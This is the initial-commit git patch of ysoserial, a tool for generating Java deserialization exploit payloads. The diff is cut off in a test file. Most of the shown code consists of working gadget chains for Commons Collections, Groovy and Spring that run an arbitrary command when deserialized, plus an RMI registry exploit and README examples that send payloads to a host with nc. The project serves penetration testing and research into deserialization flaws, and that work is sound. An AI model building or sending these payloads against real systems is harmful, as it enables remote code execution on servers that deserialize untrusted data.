From e6565b61e3045ca385a0b0777dd464cb0f81d5a7 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Wed, 28 Jan 2015 11:31:57 -0800 Subject: [PATCH] init-commit --- .gitignore | 5 + .travis.yml | 7 + DISCLAIMER.txt | 6 + LICENSE.txt | 22 +++ README.md | 66 +++++++++ pom.xml | 125 ++++++++++++++++++ src/main/java/ysoserial/Deserialize.java | 18 +++ src/main/java/ysoserial/GeneratePayload.java | 86 ++++++++++++ .../java/ysoserial/RMIRegistryExploit.java | 23 ++++ .../payloads/CommonsCollections1.java | 76 +++++++++++ .../payloads/CommonsCollections2.java | 66 +++++++++ src/main/java/ysoserial/payloads/Groovy1.java | 43 ++++++ .../ysoserial/payloads/ObjectPayload.java | 9 ++ src/main/java/ysoserial/payloads/Spring1.java | 92 +++++++++++++ .../ysoserial/payloads/util/ClassFiles.java | 40 ++++++ .../java/ysoserial/payloads/util/Gadgets.java | 84 ++++++++++++ .../payloads/util/PayloadRunner.java | 34 +++++ .../ysoserial/payloads/util/Reflections.java | 33 +++++ .../payloads/util/Serializables.java | 34 +++++ src/test/java/ysoserial/ExecSerializable.java | 16 +++ src/test/java/ysoserial/MockPayload.java | 17 +++ .../java/ysoserial/MockSecurityManager.java | 24 ++++ src/test/java/ysoserial/Throwables.java | 8 ++ .../java/ysoserial/payloads/PayloadsTest.java | 90 +++++++++++++ ysoserial.png | Bin 0 -> 43499 bytes 25 files changed, 1024 insertions(+) create mode 100644 .gitignore create mode 100644 .travis.yml create mode 100644 DISCLAIMER.txt create mode 100644 LICENSE.txt create mode 100644 README.md create mode 100644 pom.xml create mode 100644 src/main/java/ysoserial/Deserialize.java create mode 100644 src/main/java/ysoserial/GeneratePayload.java create mode 100644 src/main/java/ysoserial/RMIRegistryExploit.java create mode 100644 src/main/java/ysoserial/payloads/CommonsCollections1.java create mode 100644 src/main/java/ysoserial/payloads/CommonsCollections2.java create mode 100644 src/main/java/ysoserial/payloads/Groovy1.java create mode 100644 src/main/java/ysoserial/payloads/ObjectPayload.java create mode 100644 src/main/java/ysoserial/payloads/Spring1.java create mode 100644 src/main/java/ysoserial/payloads/util/ClassFiles.java create mode 100644 src/main/java/ysoserial/payloads/util/Gadgets.java create mode 100644 src/main/java/ysoserial/payloads/util/PayloadRunner.java create mode 100644 src/main/java/ysoserial/payloads/util/Reflections.java create mode 100644 src/main/java/ysoserial/payloads/util/Serializables.java create mode 100644 src/test/java/ysoserial/ExecSerializable.java create mode 100644 src/test/java/ysoserial/MockPayload.java create mode 100644 src/test/java/ysoserial/MockSecurityManager.java create mode 100644 src/test/java/ysoserial/Throwables.java create mode 100644 src/test/java/ysoserial/payloads/PayloadsTest.java create mode 100644 ysoserial.png diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f3ccac5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +/target +.classpath +.project +.settings/ +pwntest diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..6f7cf3b --- /dev/null +++ b/.travis.yml @@ -0,0 +1,7 @@ +language: java +jdk: + - oraclejdk8 + - openjdk8 + - oraclejdk7 + - openjdk7 + - openjdk6 \ No newline at end of file diff --git a/DISCLAIMER.txt b/DISCLAIMER.txt new file mode 100644 index 0000000..1137f25 --- /dev/null +++ b/DISCLAIMER.txt @@ -0,0 +1,6 @@ +DISCLAIMER + +This software has been created purely for the purposes of academic research and +for the development of effective defensive techniques, and is not intended to be +used to attack systems except where explicitly authorized. Project maintainers +are not responsible or liable for misuse of the software. Use responsibly. \ No newline at end of file diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..48825dd --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,22 @@ +Copyright (c) 2013 Chris Frohoff + +MIT License + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..9436146 --- /dev/null +++ b/README.md @@ -0,0 +1,66 @@ + +# ysoserial + +A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. + +![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png) + +## Description + +ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java +libraries. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then +serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes +this data, the chain will automatically be invoked and cause the command to be executed on the application host. + +It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having +gadgets on the classpath. + +## Disclaimer + +This software has been created purely for the purposes of academic research and +for the development of effective defensive techniques, and is not intended to be +used to attack systems except where explicitly authorized. Project maintainers +are not responsible or liable for misuse of the software. Use responsibly. + +## Usage + +```shell +$ java -jar ysoserial-0.0.1-all.jar +Y SO SERIAL? +Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' + Available payload types: + CommonsCollections1 + CommonsCollections2 + Groovy1 + Spring1 +``` + +## Examples + +```shell +$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd +0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl +0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A +0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat +... +0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov +0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... +0000570: 0078 7071 007e 003a .xpq.~.: + +$ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin +$ nc 10.10.10.10 < groovypayload.bin + +$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe +``` + +## Installation + +1. Download the latest jar from the "releases" section. + +## Contributing + +1. Fork it +2. Create your feature branch (`git checkout -b my-new-feature`) +3. Commit your changes (`git commit -am 'Add some feature'`) +4. Push to the branch (`git push origin my-new-feature`) +5. Create new Pull Request \ No newline at end of file diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..408e9ea --- /dev/null +++ b/pom.xml @@ -0,0 +1,125 @@ + + 4.0.0 + + ysoserial + ysoserial + 0.0.1-SNAPSHOT + jar + + ysoserial + http://maven.apache.org + + + UTF-8 + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.2 + + 1.5 + 1.5 + + + + maven-assembly-plugin + + ${project.artifactId}-${project.version}-all + false + + + ysoserial.GeneratePayload + + + + jar-with-dependencies + + + + + make-assembly + package + + single + + + + + + + + + + + + + junit + junit + 4.12 + test + + + org.mockito + mockito-core + 1.10.19 + test + + + com.github.stefanbirkner + system-rules + 1.8.0 + test + + + + + + org.reflections + reflections + 0.9.9 + + + org.jboss.shrinkwrap.resolver + shrinkwrap-resolver-depchain + 2.1.1 + pom + + + + + + commons-collections + commons-collections + 3.1 + + + org.apache.commons + commons-collections4 + 4.0 + + + org.apache.commons + commons-lang3 + 3.1 + + + org.codehaus.groovy + groovy + 2.3.9 + + + org.springframework + spring-core + 4.1.4.RELEASE + + + org.springframework + spring-beans + 4.1.4.RELEASE + + + diff --git a/src/main/java/ysoserial/Deserialize.java b/src/main/java/ysoserial/Deserialize.java new file mode 100644 index 0000000..64d2d65 --- /dev/null +++ b/src/main/java/ysoserial/Deserialize.java @@ -0,0 +1,18 @@ +package ysoserial; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; + +import ysoserial.payloads.util.Serializables; + +/* + * for testing payloads across process boundaries + */ +public class Deserialize { + public static void main(final String[] args) throws ClassNotFoundException, IOException { + final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); + Serializables.deserialize(in); + } +} diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java new file mode 100644 index 0000000..9db1eb5 --- /dev/null +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -0,0 +1,86 @@ +package ysoserial; + +import java.io.ObjectOutputStream; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; +import java.util.Set; + +import org.reflections.Reflections; + +import ysoserial.payloads.ObjectPayload; + +@SuppressWarnings("rawtypes") +public class GeneratePayload { + + private static final int INTERNAL_ERROR_CODE = 70; + private static final int USAGE_CODE = 64; + + public static void main(final String[] args) { + if (args.length != 2) { + printUsage(); + System.exit(USAGE_CODE); + } + final String payloadType = args[0]; + final String command = args[1]; + + final Class payloadClass = getPayloadClass(payloadType); + if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(); + System.exit(USAGE_CODE); + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + final Object object = payload.getObject(command); + final ObjectOutputStream objOut = new ObjectOutputStream(System.out); + objOut.writeObject(object); + } catch (Exception e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(INTERNAL_ERROR_CODE); + } + System.exit(0); + } + + @SuppressWarnings("unchecked") + private static Class getPayloadClass(final String className) { + try { + return (Class) Class.forName(className); + } catch (Exception e1) { + } + try { + return (Class) Class.forName(GeneratePayload.class.getPackage().getName() + + ".payloads." + className); + } catch (Exception e2) { + } + return null; + } + + private static void printUsage() { + System.err.println("Y SO SERIAL?"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); + System.err.println("\tAvailable payload types:"); + final List> payloadClasses = + new ArrayList>(getPayloadClasses()); + Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize + for (Class payloadClass : payloadClasses) { + System.err.println("\t\t" + payloadClass.getSimpleName()); + } + } + + // get payload classes by classpath scanning + private static Collection> getPayloadClasses() { + final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + return payloadTypes; + } + + public static class ToStringComparator implements Comparator { + public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } + } + +} diff --git a/src/main/java/ysoserial/RMIRegistryExploit.java b/src/main/java/ysoserial/RMIRegistryExploit.java new file mode 100644 index 0000000..a8d5286 --- /dev/null +++ b/src/main/java/ysoserial/RMIRegistryExploit.java @@ -0,0 +1,23 @@ +package ysoserial; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +import ysoserial.payloads.CommonsCollections1; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.util.Gadgets; + +/* + * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader + */ +public class RMIRegistryExploit { + public static void main(String[] args) throws Exception { + Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); + String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; + Class payloadClass = (Class) Class.forName(className); + Object payload = payloadClass.newInstance().getObject(args[3]); + Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class); + registry.bind("pwned", remote); + } +} diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java new file mode 100644 index 0000000..9839ef5 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java @@ -0,0 +1,76 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { + + public InvocationHandler getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) { + PayloadRunner.run(CommonsCollections1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java new file mode 100644 index 0000000..9854ef9 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java @@ -0,0 +1,66 @@ +package ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import ysoserial.payloads.util.ClassFiles; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + ... + TransformingComparator.compare() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections4 + */ + +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +public class CommonsCollections2 implements ObjectPayload> { + + public Queue getObject(final String command) throws Exception { + final TemplatesImpl templates = new TemplatesImpl(); + + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + ClassFiles.classAsBytes(Gadgets.TransletPayload.class), + ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy + + Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy + + // mock method name until armed + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); + // stub data for replacement later + queue.add(1); + queue.add(1); + + // switch method called by comparator + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = new Gadgets.TransletPayload().withCommand(command); + + return queue; + } + + public static void main(final String[] args) { + PayloadRunner.run(CommonsCollections2.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/Groovy1.java b/src/main/java/ysoserial/payloads/Groovy1.java new file mode 100644 index 0000000..b457174 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Groovy1.java @@ -0,0 +1,43 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; + +import org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + Comparator.compare() (Proxy) + ConvertedClosure.invoke() + MethodClosure.call() + ... + Method.invoke() + Runtime.exec() + + Requires: + groovy + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +public class Groovy1 extends PayloadRunner implements ObjectPayload { + + public InvocationHandler getObject(final String command) throws Exception { + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + + final Map map = Gadgets.createProxy(closure, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); + + return handler; + } + + public static void main(final String[] args) { + PayloadRunner.run(Groovy1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java new file mode 100644 index 0000000..d027157 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -0,0 +1,9 @@ +package ysoserial.payloads; + +public interface ObjectPayload { + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; +} diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java new file mode 100644 index 0000000..8ab0570 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -0,0 +1,92 @@ +package ysoserial.payloads; + +import static java.lang.Class.forName; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; +import java.util.Arrays; +import java.util.List; + +import javax.xml.transform.Templates; + +import org.springframework.beans.factory.ObjectFactory; + +import ysoserial.payloads.util.ClassFiles; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; + +/* + Gadget chains: + + ObjectInputStream.readObject() + SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.findMethod() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.invokeMethod() + Method.invoke() + Templates(Proxy).newTransformer() + AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + ObjectFactory(Proxy).getObject() + AnnotationInvocationHandler.invoke() + HashMap.get() + Method.invoke() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + TemplatesImpl.TransletClassLoader.defineClass() + Gadgets.TransletPayload.readObject() + Runtime.exec() + + Requires: + spring-framework-core + */ + +@SuppressWarnings({"restriction", "rawtypes"}) +public class Spring1 extends PayloadRunner implements ObjectPayload> { + + public List getObject(final String command) throws Exception { + final TemplatesImpl templates = new TemplatesImpl(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + ClassFiles.classAsBytes(Gadgets.TransletPayload.class), + ClassFiles.classAsBytes(Gadgets.Foo.class)}); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + final ObjectFactory objectFactoryProxy = + Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0); + + Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy + + return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command)); + } + + public static void main(final String[] args) { + PayloadRunner.run(Spring1.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/util/ClassFiles.java b/src/main/java/ysoserial/payloads/util/ClassFiles.java new file mode 100644 index 0000000..6192dd0 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/ClassFiles.java @@ -0,0 +1,40 @@ +package ysoserial.payloads.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) throws IOException { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } + +} diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java new file mode 100644 index 0000000..bd05933 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -0,0 +1,84 @@ +package ysoserial.payloads.util; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; +import java.lang.reflect.Array; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings("restriction") +public class Gadgets { + private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + // serializable translet subclass that will command stored in field when deserialized + public static class TransletPayload extends AbstractTranslet implements Serializable { + private static final long serialVersionUID = 5571793986024357801L; + + { + namesArray = new String[0]; // needed to make TemplatesImpl happy + } + + private String command; + + // execute stored command on deserialization + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + in.defaultReadObject(); // read command string + try { + Runtime.getRuntime().exec(command); // execute command + } catch (IOException e) { + e.printStackTrace(); // not trying to be stealthy + } + } + + public TransletPayload withCommand(String command) { + this.command = command; + return this; + } + + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) + throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + private static final long serialVersionUID = 8207363842866235160L; + } + + public static T createMemoitizedProxy(final Map map, final Class iface, + final Class ... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); + } + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap(); + map.put(key,val); + return map; + } +} diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java new file mode 100644 index 0000000..a52458a --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -0,0 +1,34 @@ +package ysoserial.payloads.util; + +import static ysoserial.payloads.util.Serializables.deserialize; +import static ysoserial.payloads.util.Serializables.serialize; +import ysoserial.payloads.ObjectPayload; + +/* + * utility class for running exploits locally from command line + */ +@SuppressWarnings("unused") +public class PayloadRunner { + public static void run(final Class clazz, final String[] args) { + try { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + final Object objBefore = clazz.newInstance().getObject(command); + + System.out.println("serializing payload"); + + final byte[] serialized = serialize(objBefore); + + System.out.println("deserializing payload"); + + final Object objAfter = deserialize(serialized); + + } catch (Exception e) { + e.printStackTrace(); + } + + } + +} diff --git a/src/main/java/ysoserial/payloads/util/Reflections.java b/src/main/java/ysoserial/payloads/util/Reflections.java new file mode 100644 index 0000000..0e6b599 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/Reflections.java @@ -0,0 +1,33 @@ +package ysoserial.payloads.util; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class Reflections { + + public static Field getField(final Class clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if (field == null && clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + field.setAccessible(true); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + +} diff --git a/src/main/java/ysoserial/payloads/util/Serializables.java b/src/main/java/ysoserial/payloads/util/Serializables.java new file mode 100644 index 0000000..8c95732 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/Serializables.java @@ -0,0 +1,34 @@ +package ysoserial.payloads.util; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; + +public class Serializables { + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + +} \ No newline at end of file diff --git a/src/test/java/ysoserial/ExecSerializable.java b/src/test/java/ysoserial/ExecSerializable.java new file mode 100644 index 0000000..b7062ed --- /dev/null +++ b/src/test/java/ysoserial/ExecSerializable.java @@ -0,0 +1,16 @@ +package ysoserial; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +@SuppressWarnings("serial") +public class ExecSerializable implements Serializable { + private void readObject(final ObjectInputStream ois) { + try { + Runtime.getRuntime().exec("hostname"); + } catch (IOException e) { + e.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/src/test/java/ysoserial/MockPayload.java b/src/test/java/ysoserial/MockPayload.java new file mode 100644 index 0000000..d3c7edc --- /dev/null +++ b/src/test/java/ysoserial/MockPayload.java @@ -0,0 +1,17 @@ +package ysoserial; + +import java.io.Serializable; + +import ysoserial.payloads.ObjectPayload; + +public class MockPayload implements ObjectPayload { + private final Serializable obj; + + public MockPayload(final Serializable obj) { + this.obj = obj; + } + + public Object getObject(final String command) throws Exception { + return obj; + } +} \ No newline at end of file diff --git a/src/test/java/ysoserial/MockSecurityManager.java b/src/test/java/ysoserial/MockSecurityManager.java new file mode 100644 index 0000000..61779f1 --- /dev/null +++ b/src/test/java/ysoserial/MockSecurityManager.java @@ -0,0 +1,24 @@ +package ysoserial; + +import java.security.Permission; +import java.util.LinkedList; +import java.util.List; + +public class MockSecurityManager extends SecurityManager { + private final List checks = new LinkedList(); + + public List getChecks() { + return checks; + } + + @Override + public void checkPermission(final Permission perm) { + checks.add(perm); + } + + @Override + public void checkPermission(final Permission perm, final Object context) { + checks.add(perm); + } + +} \ No newline at end of file diff --git a/src/test/java/ysoserial/Throwables.java b/src/test/java/ysoserial/Throwables.java new file mode 100644 index 0000000..51ac9be --- /dev/null +++ 